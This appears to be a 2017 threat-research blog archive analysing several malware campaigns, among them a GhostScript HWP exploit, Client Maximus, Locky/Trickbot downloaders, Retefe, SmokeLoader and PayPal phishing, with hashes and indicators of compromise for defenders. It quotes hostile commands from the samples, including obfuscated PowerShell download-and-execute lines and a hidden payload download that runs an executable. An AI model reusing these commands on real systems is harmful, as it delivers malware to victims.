Monday, 30 October 2017

Targeted Attack on South Korea exploits CVE-2017-8291

Recently I discovered an HWP document in the wild which was weaponised to exploit the Vulnerability (CVE-2017-8291) in GhostScript Processor used in Hancom Office Word Processor Application. This document used the theme of Korean Day (celebrated on Oct 5th 2017) and the attack was targeted towards South Korean users.

Hancom Office is a Popular Word Processing application used in Korea and the Documents specific to this application have the file extension: "hwp".

MD5 hash: 3d0d71fdedfd8945d78b64cdf0fb11ed
Original Filename: 세계한인의 날 알아보기.hwp

It translates to: Korean Day

The contents of the Document are shown in Figures 1, 2 and 3. As can be seen, the content was clearly targeted towards South Korean users.

Figure 1

Figure 2

Figure 3

Extraction of Malicious PostScript

This HWP file has a compressed PostScript embedded inside it. As shown in Figure 4, we can see the Embedded PostScript.

Figure 4
Encrypted PostScript embedded inside PostScript

After extracting and decompressing the PostScript, we can see that it contains another layer of XOR encrypted PostScript as shown in Figure 5.

Figure 5
The XOR decryption loop is written in PostScript language and it uses a 4 byte XOR decryption key: 0xA3E6E7BB

After decrypting the above PostScript, we get another layer of PostScript as shown in Figure 6.

 Figure 6
PostScript used to Trigger Vulnerability

This PostScript contains the shellcode along with the malicious PostScript which is used to trigger the vulnerability in GhostScript.

The particular section of code which triggers the vulnerability as shown in Figure 7.

 Figure 7
There is a vulnerability in the way .eqproc instruction in GhostScript processes the parameters.

Shellcode Analysis

Let's take a look at the shellcode now. The shellcode entrypoint looks like shown in Figure 8.

Figure 8
It scans the contents of the shellcode for a marker, 0xAABBCCDD. This marker is followed by a 0x4 byte XOR key which is used later for decrypting the encrypted DLL embedded inside the PostScript.

In order to perform the decryption, the Shellcode scans all the Open File Handles corresponding to the Current Process.

The API sequence looks as shown below:

ZwQuerySystemInformation(0x10, <heap_address>, 0x10000, 0x0)
ZwQuerySystemInformation(0x10, <heap_address>, 0x20000, 0x0)
ZwQueryObject(object_handle, 0x2, <heap_address>, 0x1000, 0x0)
ZwQueryObject(object_handle, 0x1, <heap_address>, 0x1000, <address>)

As shown in Figure 9, it gets the handle information using ZwDuplicateObject() and ZwQueryObject(). Then the filename corresponding to this Handle is checked and if it ends with ".ps", then it indicates we have obtained the handle to PostScript loaded in memory of Hancom Office Application.

Figure 9
The filename check for the Handle is shown in Figure 10.

Figure 10
Once the handle to PostScript is obtained, it maps the entire PostScript into memory using: CreateFileMappingA() and MapViewOfFile()

Now, it searches the PostScript for the marker, "exec". The encrypted DLL is present right after this marker in the PostScript as shown in Figure 11.

Figure 11
The shellcode decryption routine is shown in Figure 12.

Figure 12
It uses a 0x4 byte XOR key (0xA3E6E7BB) which is present right after the marker, 0xAABBCCDD in the shellcode.

After decrypting the encrypted DLL, it will be injected into explorer.exe process. As a result of it, we can see that the DLL is never dropped on the disk and so it's a fileless malware.

MD5 hash of the decrypted DLL: d897b4b8e729a408f64911524e8647db

Below are the details of the Network Callbacks performed by the DLL: and port 5443 and port 443

I'll add more details of the payload in a follow up blog.

Monday, 23 October 2017

Client Maximus Banking Trojan Attacks active in Brazil

In Sept 2017, Client Maximus payload was discovered by IBM X-Force team and blogged here.

In the past few weeks, I observed that Client Maximus is still being spread to the users in Brazil. Since there is already a good writeup of Client Maximus available in the IBM X-Force blog, I will be adding some details which were not covered there.

In the recent campaign, it was observed that RAR files were sent as an email attachment with an LNK file inside them. This LNK file leverages Powershell to download the Powershell Loader from the URL: hxxps:// which will perform the remaining malicious activities.

MD5 hash of the RAR file: d1ae4ff4f632d4f5e310ca17b084b55e

The target of the LNK file is as shown below:

C:\Windows\system32\cmd.exe /V /C "set wx=^en&&set pr=^e^r^s&&set qr=he^ll&&set wq=^p^o^w&&set dy=^W^i^ndo^ws!wq!!pr!!qr!\^v^1.0\!wq!!pr!!qr!&&echo ^s^ap^s ^"!dy!^" ^"-!wx!c^o^d^e^d SABhAEMAOwBpAGUAeAAoAE4ARQB3AC0AbwBCAGoAZQBjAFQAIABuAEUAVAAuAFcARQBCAGMAbABJA...

After decoding, the Target is as shown below:

HaC;iex(NEw-oBjecT nET.WEBclIenT).doWNloADstRinG('hxxps://');DFG

It's interesting to note that the parameter passed to gl.php is a base64 encoded URL in the format: URL|field. The significance of the field will be explained later in this article.

So, in our case, the above base64 encoded parameter decodes to: hxxps://|22Ub

1st Stage Powershell Loader

After connecting to the above URL, it downloads the first stage Powershell Loader. This loader will download the XOR encrypted .NET assembly from the URL: as shown in Figure 1.

Figure 1

It's encrypted with a single byte XOR key, 0x6a. Once we decrypt it, we can decompile the code to analyze further.

From the main Powershell Code, the Go() method from above decrypted assembly is invoked which is shown in Figure 2.

Figure 2

It first performs a Geo IP check as shown in figure 3 to confirm whether the user is located in Brazil.

Figure 3

It then performs a check for the installed programs as shown in figure 4.

Figure 4.

The list of paths it checks are:

GUID:  E37CB5F0-51F5-4395-A808-5FA49E399F83
GUID:  E37CB5F0-51F5-4395-A808-5FA49E399003
GUID:  E37CB5F0-51F5-4395-A808-5FA49E399008
GUID:  E37CB5F0-51F5-4395-A808-5FA49E399007
GUID:  E37CB5F0-51F5-4395-A808-5FA49E399011
Path: %PROGRAMFILES%\\scpbrad
Path: %ProgramFiles(x86)%\\scpbrad
Path: %ProgramFiles(x86)%\\AppBrad
Path: %LOCALAPPDATA%\\Aplicativo Itau
Path: %SystemDrive%\\Sicoobnet
Path: %PROGRAMFILES%\\Trusteer\\Rapport
Path: %ProgramFiles(x86)%\\Trusteer\\Rapport

Once both these checks have passed, then it continues to perform the following operations:

1. It downloads an Integer code from the URL:  hxxps://
2. Download the filename from the URL: hxxps://
3. Download the exe payload from the URL: hxxps://
4. Download the .NET config from the URL: hxxps://
5. Download the .NET bytecode from the URL: hxxps://

All the above download requests are handled by the methods, dlToText() and dlToFile(). As we can see in Figure 5, these methods will add a custom HTTP header before initiating the request.

Figure 5

The format of the custom HTTP header is: x-id: <field_name>

In our case, the field name is 22Ub. It is important to note that if this HTTP request header is not added to the request, then the server won't respond to the request with the requested data.

After the above functions are completed, the 1st Stage Powershell Loader will create a VBS file which will execute the .NET payload downloaded by the Go() method. In addition to this, another LNK file is created which will execute the VBS file as shown in Figure 6.

Figure 6

I'll add more details of this campaign and the IOCs in a follow up blog.

Wednesday, 11 October 2017

Locky based Downloader adds a Geo IP Check

In the ongoing spam campaign of Locky, there is a small upgrade made by attackers in the delivery mechanism. The VBScript based downloaders have added a Geo IP check. Based on the geographical region in which the user is located, it either downloads Locky or Trickbot.

Below are some technical details:

MD5 hash: 6e2692c124a69566838cde01b7669532

In Figure 1, we can see the Geo IP check performed.

Figure 1

It connects to either of the following sites to fetch information in JSON format about the geographical location of the user:

Once it obtains this information, it checks whether the country code matches any of the following:

"GB", "UK", "AU", "LU", "BE", "IE"

The above country codes and their corresponding countries are:

GB - United Kingdom
UK - United Kingdom
AU - Australia
LU - Luxembourg
BE - Belgium
IE - Ireland

If the country code matches any of the above, then it will download Trickbot instead of Locky.

There is a different set of Download URLs for Locky and Trickbot as shown below:

If Ubound(Filter(need, choice)) > -1 Then
          ZimZamZum = Array("","","")
          ZimZamZum = Array("","","")
        End If

The URLs with the pattern: "jhbfvg7" correspond to Trickbot Download:

The URLs with the pattern: "8y6ghhfg" correspond to Locky Download:

The downloader in this case fetches the following samples based on the geographical region:

MD5 hash: dda37961870ce079defbf185eeeef905 (Locky which encrypts files with ".asasin" extension
MD5 hash: dbc0aa7e70df7e27ae9169ae0962e2cf (Trickbot)

Retefe Banking Trojan Updates Spreading Mechanism

There is a change in the spreading strategy of Retefe Banking Trojan in October 2017 while targeting Swiss users.

Earlier in September 2017, we observed it being spread through LNK files embedded in the Documents. You can refer my previous blog on it here.

Attack Flow in September 2017 -> Doc -> LNK -> powershell -> Retefe

However, in the second week of October 2017, it is being spread through Macro based Documents:

Attack flow in October 2017 -> Doc -> Macro -> powershell -> Retefe

Filename Patterns for the Documents sent in the campaign:


The Document displays a warning in German which prompts the user to enable macros in order to view the Document contents as shown in Figure 1.

Figure 1

Execution Flow

At first, Macro launches Powershell to download the payload from either one of the following URLs:


Below is the relevant PowerShell script which does this:

powershell -WindowStyle Hidden $webclient = new-object System.Net.WebClient;$myurls = 'hxxp://,hxxp://,hxxp://,hxxp://,hxxp://'.Split(',');$path = $env:temp + '\65536.exe';foreach($myurl in $myurls){try{$webclient.DownloadFile($myurl.ToString(), $path);Start-Process $path;break;}catch{}}

The downloaded payload is then executed by Powershell.

In our case, MD5 hash of the downloaded payload is: 6233e426bd6ade588463d268897f813b

Indicators of Compromise

1. Drops a JavaScript file in the Path: C:\ProgramData\<random_name>.<random_extension>

Below are the details of the Config File used by the JavaScript:

Tor Servers: dl: ["igs67efmlcucq57u.onion","jotetnnmfzb42sdw.onion","ou47twzxgnicn7ga.onion","aulqkm5upaqmto3i.onion"]
cert: It's a Comodo signed Cert with the Serial Number:  00 ff 66 fa 4e 0b 64 80 0e
ps: Certificate Installation Script
pstp: Base64 encoded Powershell script which will install TOR and Socat installer.
pslog: Base64 encoded Powershell script which will collect information about the machine and upload through FTP to attacker's server:

Once again, we don't observe the usage of Eternal Blue Exploit and there is no pseb section inside the config section of JavaScript.

3. Drops the file: Microsoft.Win32.TaskScheduler.dll in the path: %temp%\random\

This DLL is leveraged by the PowerShell script for the purpose of setting up a Scheduled Task.

4. Drops a Powershell script in the path: C:\ProgramData\<random_name>.ps1

This Powershell Script will set up the scheduled task which will execute both TOR and Socat to setup the SOCKS proxy as shown below:

socat.exe tcp4-LISTEN:5555,reuseaddr,fork,keepalive,bind= SOCKS4A:,socksport=9050

MD5 hashes of the Documents:


Tuesday, 10 October 2017

Evasions and IOCs of SmokeLoader in the Wild

In this article, I would like to explain how to identify whether a given binary is SmokeLoader or not.

Spam campaigns have been active since the past few months spreading SmokeLoader. I am not going to explain the unpacking process in this article because it is quite straightforward and already covered in some other articles.

However, this article will explain you the IOCs, Evasion indicators and Network Callback Indicators to help conclude whether a given binary is SmokeLoader.

Note: Some of the indicators below may correspond to other Malwares as well. So, it's important to look at the complete collection of activities performed before concluding it is SmokeLoader.

VB Compiled Binary

The samples of SmokeLoader found in the wild make use of VB compiled binaries, so you should see MSVBVM60.dll in the Import Directory.

Anti Debugging Techniques

Following two anti debugging techniques are used during the unpacking process:

a) Check PEB for BeingDebugged Flag value.
b) Check PEB for NtGlobalFlags value.

Environment Checks

After unpacking the binary, we observe that two threads are created (refer Figure 1) where each thread performs a scan in the system to identify Security tools. If it identifies any security tools then it terminates those processes.

Figure 1

Process Name Check

It enumerates the running processes in the system using CreateToolHelp32Snapshot/Process32First/Process32Next (refer Figure 2).

Figure 2.

And then for each process, it does the following:

a) Calculate length of process name.
b) Calculate a 0x4 byte hash using the length of process name and the process name itself as shown in Figure 3.

Figure 3

c) This 0x4 byte hash is compared against a table of precomputed hashes. If it matches any one of them, then the corresponding process is terminated as shown in Figure 4.

Figure 4.

Here is the list of hashes: ['0xb4a1d05', '0x19195c02', '0x1c0e041d', '0x6185d0b', '0x1d07120a', '0x60b5118', '0x550e1e0d', '0x51565c47', '0x4114c14', '0x5f4e5c04', '0x14585a12', '0x145e5c14']

Window Class Name Check

Here, the binary enumerates the top level windows in the system using EnumWindows (refer Figure 5).

Figure 5

And then for each Window, it does the following:

a) Calculate the length of Window Class Name.
b) Calculate a 0x4 byte hash using the length of window class name and the window name itself.
c) This 0x4 byte hash is compared against a table of precomputed hashes. If it matches any one of them, then the process corresponding to the Window Class name is identified using GetWindowThreadProcessId and then it is terminated.

Here is the list of hashes: ['0xb4a1d05', '0x19195c02', '0x1c0e041d', '0x6185d0b', '0x1d07120a', '0x60b5118', '0x550e1e0d', '0x51565c47']

Volume Serial Number Check

It Calls the API, GetVolumeInformationA() to get the Volume Serial number and compares it against the values: 0x0cd1a40 and 0x70144646 as shown in Figure 6.

Figure 6

Config Decryption

SmokeLoader has a specific configuration which it re-uses multiple times during the process of execution. This config is stored RC4 encrypted and it uses a 0x4 byte RC4 key for decryption.

The decrypted config is shown in Figure 7.

Figure 7

I'll explain the purpose of some of the fields in the config below: - To check Internet Connectivity
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run - Windows Registry key for Persistence
Software\Microsoft\Windows\CurrentVersion\Run - Windows Registry key for Persistence
Software\Microsoft\Windows\CurrentVersion\Uninstall - To Enumerate the list of Installed Softwares.
sample - Looks for this string in the Process Command Line path
System\CurrentControlSet\Services\Disk\Enum - Windows Registry Key checked to identify usage of Virtualization Environment
advapi32.dll - It gets the timestamp details of advapi32.dll and uses this to set the timestamp details of dropped binar
explorer.exe - The target process in which code needs to be injected

Below are the list of modules it has to load during the process of execution:


HelpLink - It looks up this Registry Key value for each Installed Software to get the corresponding URL
URLInfoAbout - It looks up this Registry Key value for each Installed Software to get the corresponding URL

It checks whether the modules corresponding to known Sandboxes are loaded or not.


The following strings are checked in the Registry key: System\CurrentControlSet\Services\Disk\Enum to detect the presence of Virtualization Environment.


Code Injection

SmokeLoader performs code injection in explorer.exe process using the concept of Section mapping. It modifies the entry point of explorer.exe process by adding a trampoline which points to the injected code as shown in Figure 8.

Figure 8

Sequence of APIs used in code injection:


Indicators Of Compromise

1. Binary creates a copy of itself in the path: %Appdata%\Microsoft\<random_name>\ directory with the filename, <random_name>.exe
2. It adds the ZoneIdentifier ADS to the dropped binary, so it looks like: %Appdata%\Microsoft\<random_name>\<random_name>.exe:ZoneIdentifier
3. It uses the Timestamp details of a legitimate system module like advapi32.dll to set the Timestamp details of the dropped binary.
4. Deletes the original binary.
5. Sets the file attributes of the dropped binary to SYSTEM|HIDDEN
6. Sets the Persistence Registry Key: \REGISTRY\USER\<SID>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ to the path of dropped binary.

Windows Persistence Mechanism

For persistence, it adds the path of the dropped binary to the Windows Registry Key as mentioned above. However, one interesting function performed by SmokeLoader is to monitor any changes made to this Registry Key by using RegNotifyChangeKeyValue() API using the notify filter, REG_NOTIFY_CHANGE_LAST_SET.

It registers an event to monitor changes made to the Registry Key and if any change is detected then it reverts the change as shown in Figure 9.

Figure 9

Network Callbacks

SmokeLoader is known to perform a lot of Network Callbacks to legitimate domains by sending HTTP POST requests. The data sent in the POST requests to these sites is randomly generated.

How does SmokeLoader fetch the list of URLs to send the HTTP POST request to?

1. It calls RegEnumKey and enumerates the list of Installed Softwares.
2. For each installed software, it looks up the value of HelpLink and URLInfoAbout keys, if it finds a URL, then it randomly generates data and sends a POST request to it.

I will add more details of indicators to this blog so that it serves as a future reference.

Wednesday, 4 October 2017

Locky Ransomware Campaign Continues in October 2017

Spam Campaigns spreading the new variant of Locky Ransomware which encrypts the files with the extension "ykcol" continue steadily even in the first week of October, 2017.

Today's wave of emails are spreading JavaScript based Locky Downloaders inside 7z archive email attachments. The subject of the emails have either of the following 2 formats:

Emailing - PDFxxx
Emailing - DOCxxx

where, xxx is a 3 digit Number.

The contents of the email are simple and they just request the user to check the attachment as shown in Figure 1.

 Figure 1
As an example, let's look at a sample.

MD5 hash of the 7z archive: 0da6a56f73e1e0211802a73c3ed1249a
MD5 hash of the JavaScript file: 347cd2e1885c6be2a0faeb3d11efa437

In Figure 2, we can see the obfuscated JavaScript which is used to download the Locky Ransomware unencrypted over the Network.

Figure 2
In Figure 3, we can see the HTTP GET request corresponding to download of the Locky Ransomware.

Figure 3
After all the files are encrypted, the message (refer Figure 4) is displayed to the User with instructions for recovering the file contents.

Figure 4
As usual, the users need to visit the TOR site as shown in Figure 5.

Figure 5

This variant still continues to use the same TOR site: g46mbrrzpfszonuk.onion

Once you enter the identifier generated by Locky for your machine on the website above, it will give details for the Bitcoin Payment as shown in Figure 6.

Figure 6

Bitcoin Address: 1MkzcKCiqiz7v57GnLhnLRLodqdjX5hKic

If we look it up on, then we can see that at present, no payments have been sent to them.

Below is a list of MD5 hashes of the 7z files sent in this campaign:


Network Callbacks from where the Locky Ransomware is fetched by the first stage JavaScript based downloader:

Sunday, 1 October 2017

PayPal Phishing - Homographic Email Body

There's an ongoing PayPal Phishing Campaign in the wild which sends HTML attachments that spoof PayPal Forms and request users for sensitive information. This campaign was particularly interesting because the email body was encoded with Unicode characters which look similar to corresponding ASCII Characters.

Homographic attacks are usually performed to craft URLs which look like legitimate URLs by substituting some of the ASCII characters with their look alike Unicode characters.

However, in this particular campaign, the entire email body has been crafted using this technique.

Why apply Homographic Technique to Email Body?

Several Security Analysts as well as Security Vendors write static signatures which are crafted to detect patterns in the email body. The Homographic technique allows these static signatures to be easily bypassed because the attackers can mix ASCII as well Unicode characters to generate different patterns.

As an example, in the email shown in Figure 1 we can see that the email body looks like it's written in English Language. But if you pay close attention, you will observe that some of the English letters have been substituted with look like Cyrillic characters.

Figure 1
To get a better understanding of this, let's look at the email body with Unicode characters displayed with their equivalent encoding as shown in Figure 2.

Figure 2

The actual Unicode Encoded text is:

%D0%85%D0%B5ptember 29th 2017


It %D0%B0%D1%80pea%D0%B3%D1%95 t%D2%BBat some of y%D0%BEu%D0%B3 %D0%B3ec%D0%BE%D0%B3d%D1%95 %D2%BBav%D0%B5 g%D0%BEne miss%D1%96ng %D0%BEr be%D1%81%D0%B0me out%D4%81at%D0%B5d.

Now, if we look up the above unicode encodings, we can understand how the attacker has mixed ASCII with Unicode characters.

As an example, let's decode the string: "%D0%85%D0%B5ptember 29th 2017"

Unicode Characters are always encoded using 2 bytes.


You can look up the Unicode Values here:

In this way, we can see how the attacker has encoded the string: "September" by using Unicode Characters.

HTML Attachment Analysis

MD5 hash: bfe06c7da972a82477016193e5b3c3ac

The HTML attachment contains obfuscated JavaScript as shown in Figure 3. It uses HTML DOM to dynamically construct the PayPal HTML Form.

Figure 3

This is done by creating an HTML script tag dynamically with the src attribute set to: (shown in Figure 4).

Figure 4

After deobfuscating the above JavaScript, we can see the PayPal HTML form.

Another interesting technique is the dynamic replacement of the Action field in HTML form on  Submission.

The HTML Form looks as shown below:

<form name="ytrKbjzK" onsubmit="">
<input type=button class=submitBtn onClick=uF8Nu() value="Submit Form">

So, when the Submit button is pressed, the function,  uF8Nu() is invoked.

This function will dynamically replace from the HTML POST Action field with the URL: hxxp:// when the form is submitted as shown in Figure 5.

Figure 5

The actual HTML form looks like shown in Figure 6.


Below are some more HTML files from the wild which were sent in the same campaign and the corresponding email bodies were encoded using the technique described above.